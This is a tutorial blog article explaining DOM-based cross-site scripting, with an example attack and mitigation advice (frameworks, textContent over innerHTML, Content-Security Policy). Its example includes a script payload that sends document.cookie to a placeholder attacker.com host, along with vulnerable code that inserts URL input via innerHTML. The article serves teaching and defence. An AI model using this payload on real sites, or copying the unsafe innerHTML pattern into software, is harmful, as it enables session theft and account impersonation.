DOM-Based Cross Site Scripting (DOM-XSS)

Christopher Makarem
IOCSCAN
Published in
5 min readNov 9, 2018

DOM-based XSS is a variant of both persistent and reflected XSS. In a DOM-based XSS attack, the malicious string is not actually parsed by the victim’s browser until the website’s legitimate JavaScript is executed. In the previous examples of persistent and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim’s browser receives the response, it assumes the malicious script to be part of the page’s legitimate content and automatically executes it during page load as with any other script.

In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a legitimate part of the page. The problem is that this legitimate script directly makes use of user input in order to add HTML to the page. Because the malicious string is inserted into the page using innerHTML, it is parsed as HTML, causing the malicious script to be executed.

As web applications become more advanced, an increasing amount of HTML is generated by JavaScript on the client-side rather than by the server. Any time content needs to be changed without refreshing the entire page, the update must be performed using JavaScript. Most notably, this is the case when a page is updated after an AJAX request.

This means that XSS vulnerabilities can be present not only in a website’s server-side code, but also in a website’s client-side JavaScript code. Consequently, even with completely secure server-side code, the client-side code might still unsafely include user input in a DOM update after the page has loaded. If this happens, the client-side code has enabled an XSS attack through no fault of the server-side code. There is a special case of DOM-based XSS in which the malicious string is never sent to the website’s server to begin with: when the malicious string is contained in a URL’s fragment identifier (anything after the # character). Browsers do not send this part of the URL to servers, so the website has no way of accessing it using server-side code. The client-side code, however, has access to it and can thus cause XSS vulnerabilities by handling it unsafely. This is not limited to fragment identifiers, as it can apply to user input handled on the client side (common in frameworks: angular, react, etc).

DOM-XSS sample workflow

Examples of DOM-Based XSS

For those of you unfamiliar with JavaScript and HTML syntax, HTML is a tag based language meaning that elements in a web page are distinguished by their tag. <a> tags indicated links, <p> tags indicate paragraph style text, and the one we are interested is <script> tags. These tags denote JavaScript code and when the browser comes across a <script> tag it will know to execute whatever code is in that tag.

A possible attack flow may look like the following:

The malicious code is contained between the <script></script> tags in the following code

The attacker crafts some especially devious JavaScript code and places it as part of a search query for a vulnerable website.

Hey user, check this out: "http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"

The victim is then tricked by the attacker to click on the link, that will send the malicious code as part of a search query to the server.

GET "http://website.com/search?keyword=<script>window.location='http://attacker.com/?cookie='+document.cookie</script>"

The website does not perform a check on the query string (or the server never actually receives the query string) and generates a search page for the query string. The website returns a response without the search string in the HTML body

<html>
<h1> You Searched for:</h1>
<div id ="searchquery"> </div>
<script>
var keyword = location.search.substring(3);
document.querySelector('searchquery').innerHTML = keyword;
<script>
</html>

The browser then executes the legitimate script. Which adds html between the two <div> tags with the id “searchquery” (document.querySelector().innerHTML does this). The HTML added is the malicious code that steals the user’s cookie

<html>
<h1> You Searched for:</h1>
<div id ="searchquery"><script>window.location='http://attacker.com/?cookie='+document.cookie</script> </div>
<script>
var keyword = location.search.substring(3);
document.querySelector('searchquery').innerHTML = keyword;
<script>
</html>

The browser executes the new code and sends a get request to the attacker’s server with the user’s cookie. The attacker can then use the cookie to determine personal data and/or impersonate the user at the legitimate site.

GET "http://attacker.com/?cookie=user-cookie"

DOM-Based XSS Mitigation

Server-Side
Protecting against DOM-based XSS attacks is a matter of checking that JavaScript does not interpret URI fragments in an unsafe manner. There are a number of ways to ensure this.

Use a JavaScript Framework

  • Frameworks like Ember, AngularJS and React use templates that already check for possible XSS attacks and sanitize the user input.

Audit Code Carefully

  • If you are using direct the native DOM APIs, avoid using the following properties and functions: innerHTML, outerHTML, document.write
  • Instead, set text content within tags wherever possible: innerText, textContent

Content-Security Policy

  • Modern browsers support Content-Security Policies that allow the author of a web-page to control where JavaScript (and other resources) can be loaded and executed from. XSS attacks rely on the attacker being able to run malicious scripts on a user’s web page — either by injecting inline <script> tags somewhere within the <html> tag of a page, or by tricking the browser into loading the JavaScript from a malicious third-party domain. By setting a content security policy in the response header, you can tell the browser to never execute inline JavaScript, and to lock down which domains can host JavaScript
  • This is a recommended solution that all site builders should follow.

Client-Side
Client side DOM-based XSS mitigation are only possible through keeping your browser up to date so it supports the latest CORS and CSP policy restriction, and of course preventing the user from clicking on suspicious links.

--

--